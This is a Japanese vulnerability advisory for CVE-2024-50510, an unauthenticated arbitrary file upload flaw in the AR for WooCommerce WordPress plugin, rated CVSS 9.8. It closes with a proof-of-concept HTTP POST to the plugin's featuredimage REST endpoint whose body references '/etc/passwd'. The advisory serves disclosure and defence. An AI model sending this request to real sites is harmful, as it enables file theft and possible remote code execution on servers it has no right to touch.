CVE-2024-50510

AR For WooCommerce <= 6.2 - 認証なし任意ファイルアップロード

説明

WordPress用AR for WooCommerceプラグインは、バージョン6.2までの全てのバージョンにおいて、ファイルタイプの検証が欠如しているため、任意のファイルアップロードに対して脆弱です。これにより、認証されていない攻撃者が影響を受けるサイトのサーバーに任意のファイルをアップロードする可能性があり、リモートコード実行が可能になる場合があります。

詳細

• タイプ: プラグイン
• スラッグ: ar-for-woocommerce
• 影響を受けるバージョン: 6.2
• CVSSスコア: 9.8
• CVSS評価: 重大
• CVSSベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-50510
• ステータス: 有効

POC

POST /wp-json/ar-wc-display/featuredimage/ HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/json
Content-Length: 41

{"id":123,"featured_image":"/etc/passwd"}